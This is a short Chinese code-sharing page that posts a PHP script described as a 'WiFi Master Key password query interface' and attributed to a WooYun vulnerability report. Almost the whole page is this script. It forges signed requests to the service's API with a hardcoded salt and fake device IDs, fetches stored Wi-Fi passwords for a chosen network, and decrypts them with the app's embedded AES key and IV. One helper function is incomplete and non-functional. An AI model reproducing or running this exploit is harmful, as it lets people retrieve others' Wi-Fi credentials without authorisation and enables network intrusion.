WIFI万能钥匙密码查询接口实例

5年以前  |  阅读数:420 次  |  编程语言:PHP 

不废话了,直接给大家贴代码了


    <?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
    $bssid = "c8:3a:35:fa:b8:80" ;
    $ssid = "Podinns2F03" ;
    if (isset( $bssid ) && isset( $ssid )){
    //update salt
       $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
       $ret = json_decode( $ret );
       $ret = request( $bssid , $ssid , $ret ->retSn);
       $ret = json_decode( $ret );
       if ( $ret ->retCd == 0){
         if ( $ret ->qryapwd->retCd == 0){
           $list = $ret ->qryapwd->psws;
           foreach ( $list as $wifi ){
             echo 'SSID: ' . $wifi ->ssid. "\n" ;
             echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
             echo 'BSSID: ' . $wifi ->bssid. "\n" ;
             if ( $wifi ->xUser){
               echo 'xUser: ' . $wifi ->xUser. "\n" ;
               echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
             }
           }
         }
         else {
           echo $ret ->qryapwd->retMsg;
         }
       }
    }
    function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
       $data = array ();
       $data [ 'appid' ] = '0008' ;
       $data [ 'bssid' ] = $bssid ;
       $data [ 'chanid' ] = 'gw' ;
       $data [ 'dhid' ] = $dhid ;
       $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
       $data [ 'lang' ] = 'cn' ;
       $data [ 'mac' ] = '60f81dad28de' ;
       $data [ 'method' ] = 'getDeepSecChkSwitch' ;
       $data [ 'pid' ] = 'qryapwd:commonswitch' ;
       $data [ 'ssid' ] = $ssid ;
       $data [ 'st' ] = 'm' ;
       $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
       $data [ 'v' ] = '324' ;
       $data [ 'sign' ] = sign( $data , $salt );
       $curl = curl_init();
       curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
       curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
       curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
       curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
       curl_setopt( $curl , CURLOPT_POST, true); // enable posting
       curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
       curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
       $r = curl_exec( $curl );
       curl_close( $curl );
       return $r ;
    }
    function registerNewDevice(){
       $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
       $data = array ();
       $data [ 'appid' ] = '0008' ;
       $data [ 'bssid' ] = $bssid ;
       $data [ 'chanid' ] = 'gw' ;
       $data [ 'dhid' ] = $dhid ;
       $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
       $data [ 'lang' ] = 'cn' ;
       $data [ 'mac' ] = '60f81dad28de' ;
       $data [ 'method' ] = 'getDeepSecChkSwitch' ;
       $data [ 'pid' ] = 'qryapwd:commonswitch' ;
       $data [ 'ssid' ] = $ssid ;
       $data [ 'st' ] = 'm' ;
       $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
       $data [ 'v' ] = '324' ;
       $data [ 'sign' ] = sign( $data , $salt );
    }
    function sign( $array , $salt ){
       // 签名算法
       $request_str = '' ;
       // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
       ksort( $array );
       foreach ( $array as $key => $value ) {
         $request_str .= $value ;
       }
       $sign = md5( $request_str . $salt );
       return strtoupper ( $sign );
    }
    function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
       //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
       //[length][password][timestamp]
       $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
       return substr (trim( $decrypted_string ),3,-13);
    } ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

 相关文章:
PHP分页显示制作详细讲解
SSH 登录失败:Host key verification failed
获取IMSI
将二进制数据转为16进制以便显示
获取IMEI
文件下载
贪吃蛇
双位运算符
PHP自定义函数获取搜索引擎来源关键字的方法
Java生成UUID
发送邮件
年的日历图
提取后缀名
在Zeus Web Server中安装PHP语言支持
让你成为最历害的git提交人
Yii2汉字转拼音类的实例代码
再谈PHP中单双引号的区别详解
指定应用ID以获取对应的应用名称
Python 2与Python 3版本和编码的对比
php封装的page分页类完整实例